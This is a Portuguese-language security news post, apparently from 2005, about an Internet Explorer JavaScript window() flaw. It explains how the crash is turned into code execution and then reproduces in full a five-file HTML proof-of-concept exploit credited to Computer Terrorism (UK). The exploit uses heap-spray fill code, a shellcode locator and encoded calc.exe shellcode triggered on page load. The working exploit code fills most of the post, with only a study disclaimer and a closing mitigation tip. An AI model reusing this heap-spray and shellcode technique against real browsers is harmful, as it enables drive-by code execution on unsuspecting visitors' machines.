Descoberta mais uma falha grave no Internet Explorer
A falha relatada ocorre quando o IE não inicia corretamente a função window(); do javascript em
conjunto com o evento Onload da tag
Como conseqüência o Internet Explorer encontra uma exceção ao tentar chamar um endereço 32 bit  
situado em ECX, como demonstrado na seguinte linha de código:
   CALL DWORD [ECX+8]
Devido ao erro, ECX é inadvertidamente entupido pela representação unicode de uma string 
nomeada de OBJECT ou mais especificamente [0X006f005B].
Como segmentos de  [0X006f005B] são deslocados para um endereço de memória inválido (ou não 
existente), o Internet Explorer não progride causando um crash (negação de serviço).
Esta falha já havia sido detectada e informada em 31/05/2005 e classificada como de baixo risco.
Ao se fazer um estudo mais minucioso da vulnerabilidade foi observado que a instrução está sendo 
referenciada em [0X00600000], um espaço reservado para guardar características das janelas 
abertas no desktop, estas estruturas fazem verificações dos títulos das janelas, de teclas e de 
todas as barras de menus (arquivo/editar/exibir) atribuíveis a sessão particular de cada janela.
Consequentemente é praticável prever que [0x006f005B], poderia ser alcançado ao invocar diversas 
estruturas grandes.
Por exemplo: ao abrir 12 novas sessões do web browser incrementariam [0X00600000] em 
[0X006f005B]. 
Como conseqüência, um Shellcode poderia ser introduzido através de um dos elementos da janela e 
inserido exatamente no chamado a [0X006f005B]
Combinando várias aberturas de janelas (expandindo a seção da memória) e técnicas legais que 
permitem modificar elementos da janela como nos exemplos abaixo:
1- Titulo longo no documento html 
2- Arquivo com nome longo
3- Caixas de alerta grandes. 
Todos os métodos acima ao serem testados tiveram uma falha principal:
Só funcionariam se a vitima tivesse o desktop limpo (nenhum outro aplicativo aberto) isso resulta 
em uma possibilidade muito pequena para se explorar a falha, exceto por uma condição: 
a 
abertura de uma Janela de prompt do JavaScript.
Empregando uma técnica simples para invocar diversas aberturas do prompt do JavaScript é possível 
saturar a memória com o código arbitrário.
Abaixo segue o código divulgado pela agência *
href=http://www.computerterrorism.com/research/ie/poc.htm target=_blank>COMPUTER TERRORISM* 
onde a falha é explorada para se abrir o aplicativo CALC.EXE (calculadora do Windows), provando a 
possibilidade de acesso a qualquer arquivo ao qual o usuário corrente tiver autorização.
>
São 5 arquivos HTML os quais devem ser salvos no mesmo diretório, index.htm, fillmem.htm,
bug2k.htm, bug.htm e blankwindow.htm.
atenção! os códigos abaixo são para estudo, a Total Security não se 
responsabiliza pelo uso indevido.
nome do arquivo: index.htm
código:
***********************************************************
<!--
Computer Terrorism (UK)
==================================================
Microsoft Internet Explorer JavaScript Window() - Proof Of Concept
==================================================
  Author:
  --------
Stuart Pearson
  Computer Terrorism (UK)
  www.computerterrorism.com
  21st November, 2005
Read the full advisory: http://www.computerterrorism.com/research/ie/ct21-11-2005
THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL 
  PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED 
  
  WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM 
  MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS 
  OF THIS CODE FOR ANY PARTICULAR PURPOSE.
PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL 
  
  PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS INTACT 
  
  AND UNMODIFIED.
  -->
<html>
<head>
  <meta http-equiv="Content-Language" content="en-gb">
  <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  <title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title>
  <script type="text/javascript">
function runpoc(iframecount)
  {
document.getElementById("table1").rows[2].cells[0].innerHTML="<p 
  align=center><B><font 
  color=#339966 size=1 face=Arial>    loading, 
  please 
  wait....</font></p>"
  document.getElementById("table1").rows[4].cells[0].innerHTML=""
  document.getElementById("table1").rows[6].cells[0].innerHTML=""
  document.getElementById("table1").rows[7].cells[0].innerHTML=""
  document.getElementById("table1").rows[9].cells[0].innerHTML=""
 
  top.consoleRef = open("blankWindow.htm","BlankWindow",
  "width=1,height=1"
  +",menubar=0"
  +",toolbar=1"
  +",status=0"
  +",scrollbars=0"
  +",left=1"
  +",top=1"
  +",resizable=0")
top.consoleRef.blur();
top.consoleRef.document.writeln(
  "<html>"
  +"<head>"
  +"<title>CT</title>"
  +"</head>"
  +"<body onBlur=self.blur()>"
  +"</body></html>"
  )
self.focus() // Ensure the javascript prompt boxes are hidden in the background
  for (i=1 ; i <=iframecount ; i++)
  { 
  top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0 
  
  src=fillmem.htm></iframe>")
  }
if( iframecount == 8 ){
  //alert("8");
  top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0 
  
  src=bug2k.htm></iframe>")
  }
if( iframecount == 4 ){
  //alert("4");
  top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0 
  
  src=bug.htm></iframe>")
  }
//+"<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>"
  //)
}
  </script>
  </head>
<body onLoad="self.moveTo(0,0);self.resizeTo(screen.width,screen.height);">
<p> </p>
  <p> </p>
<table border="0" width="100%" id="table1">
  <tr>
  <td>
  <p align="center">
  <a href="http://www.computerterrorism.com?1">
  <img border="0" src="http://computerterrorism.com/research/ie/ctlogo.png" 
  
  width="270" height="57"></a></p>
  <p align="center"><font color="#333333"><b><font 
  size="1" 
  face="Arial">Microsoft Internet Explorer
  JavaScript Window</font></b><font size="1" 
  face="Verdana">()</font><b><font 
  size="1" face="Arial"> 
  Proof of Concept</font></b></font></td>
  </tr>
  <tr>
  <td width="98%" height="22">
   </td>
  </tr>
  <tr>
  <td width="98%" height="22">
  <p align="center"><b><font face="Arial" 
  size="1" color="#339966">The 
  following Proof of Concept is provided exclusively for educational purposes 
  
  <br>
  only, and is subject to our standard website <u>
  <a href="http://www.computerterrorism.com/termsandconditions.htm">
  <font color="#339966">Terms and Conditions</font></a></u> 
  of 
  use.</font></b></td>
  </tr>
  <tr>
  <td width="98%" height="15"> </td>
  </tr>
  <tr>
  <td width="98%" height="15">
  <p align="center"><b><font face="Arial" 
  size="1" 
  color="#333333">Selecione seu sistema operacional:-</font></b></td>
  </tr>
  <tr>
  <td width="98%" height="10"></td>
  </tr>
  <tr>
  <td width="98%" height="27" align="center">
  <p><b><font color="#339966" size="1" 
  face="Arial">
  -</font><font color="#333333"><font color="#333333" 
  size="1" 
  face="Arial"> </font> </font><font color="#333333" 
  size="1" face="Arial"><a href="#" 
  onclick="javascript:runpoc(4)">
  <span style="text-decoration: none"><font color="#333333">Microsoft 
  
  Windows XP (todos os Service Packs)</font></span></a><font 
  
  color="#333333"> </font></font>
  <font color="#339966" size="1" face="Arial"> 
  -</font></b></td>
  </tr>
  <tr>
  <td width="98%" height="22" align="center">
  <p><b><font color="#339966" size="1" 
  face="Arial">
  -</font><font color="#333333"><font color="#333333" 
  size="1" 
  face="Arial"> </font> </font><font color="#333333" 
  size="1" face="Arial"><a href="#" 
  onclick="javascript:runpoc(8)">
  <span style="text-decoration: none"><font color="#333333">Microsoft 
  
  Windows 2000/Universal (Slower)</font></span></a><font 
  
  color="#333333"> </font></font>
  <font color="#339966" size="1" face="Arial"> 
  -</font></b></td>
  </tr>
  <tr>
  <td width="98%" height="15" align="center">
  </td>
  </tr>
  <tr>
  <td width="98%" height="15" align="center">
  <b><font color="#339966" face="Arial" size="1">o 
  link acima abrirá ( 
  calc.exe) "poderia ser usado para abrir qualquer outro arquivo" <br>
  <font color="#339966"><span style="text-decoration: 
  none">
  <a href="http://www.computerterrorism.com/research/ie/ct21-11-2005.htm">
  <font color="#339966"><span style="text-decoration: 
  none">(Read the full 
  advisory 
  here)</span></font></a></span></font></font></b></td>
  </tr>
  </table>
<p> </p>
</body>
</html>
fim do arquivo index.htm
***********************************************************
nome do arquivo: fillmem.htm
código:
***********************************************************
<HTML>
<HEAD>
<Script Language="JavaScript">
function load() {
var spearson=0
  var eip = ""
  var prep_shellcode = ""
  var shellcode = ""
  var fillmem = ""
  //
  // Address called by the bug (also serves as slide code)
  //
  for (spearson=1 ; spearson <=500 ; spearson++)
  { 
  eip = eip + unescape("%u7030%u4300")
  //eip = eip + unescape("%u4300")
  }
  //
  // Create a large chunk for memory saturation
  //
  for (spearson=1 ; spearson <=200; spearson++) 
  { 
  fillmem = fillmem + eip
  }
//
  // Search for our shellcode (tagged with my initials) and copy to a more stable 
  area
  //
  prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190" 
  +
  "%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +
  "%u002d%ua5F3%u9090%u905f%ue7ff")
//
  // Harmless Calc.exe shellcode
  //
  shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474" 
  +
  "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
  "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
  "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
  "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
  "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
  "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
  "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
  "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
  "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
  "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
  "%uCC4A%uD0FF")
  fillmem = fillmem + prep_shellcode + shellcode
prompt(fillmem,"Computer Terrorism (UK) Ltd - Internet Explorer Vulnerability")
}
  // -->
  </Script> 
  </head>
  <TITLE>Windows Explorer Exploit</TITLE>
  <body onload="setTimeout("load()",2000)">
  test test test
  </body>
  </html>
fim do arquivo fillmem.htm
***********************************************************
nome do arquivo: bug.htm
código:
***********************************************************
<html>
<TITLE>Crash XP</title>
<body onload="setTimeout("main()",6000)">
<SCRIPT>
function main()
  {
document.write("<TITLE>hello2</TITLE>")
  document.write("<body onload=window();>")
window.location.reload()
}
  </SCRIPT>
  <br><br><br><br><br><br><center><FONT 
  FACE=ARIAL SIZE 12PT>Please Wait 
  !</FONT></center> 
fim do arquivo bug.htm
***********************************************************
nome do arquivo: bug2k.htm
codigo:
***********************************************************
<html>
<TITLE>Crash 2000</title>
<body onload="setTimeout("main()",20000)">
<SCRIPT>
function main()
  {
document.write("<TITLE>hello2</TITLE>")
  document.write("<body onload=window();>")
window.location.reload()
}
  </SCRIPT>
  <br><br><br><br><br><br><center><FONT 
  FACE=ARIAL SIZE 12PT>Please Wait 
  !</FONT></center> 
fim do arquivo bug2k.htm
***********************************************************
nome do arquivo: blankwindow.htm
codigo:
***********************************************************
<html>
<TITLE>Blank Window</title>
<body></body>
</html>
fim do arquivo blankwindow.htm
***********************************************************
A microsoft ainda não se pronuciou a respeito da falha
O código é executado quando a página é carregada.
Para a falha ser explorada basta que o usuário visite um web site com código malicioso.
A vulnerabilidade foi relatada em um sistema completamente atualizado com internet Explorer 6,0 e Microsoft Windows 2000 SP4.
Nota: Nenhuma correção foi disponibilizada até o momento. Portanto, aconselha-se desabilitar o Javascript até que uma correção seja liberada.
Total Security

Comentários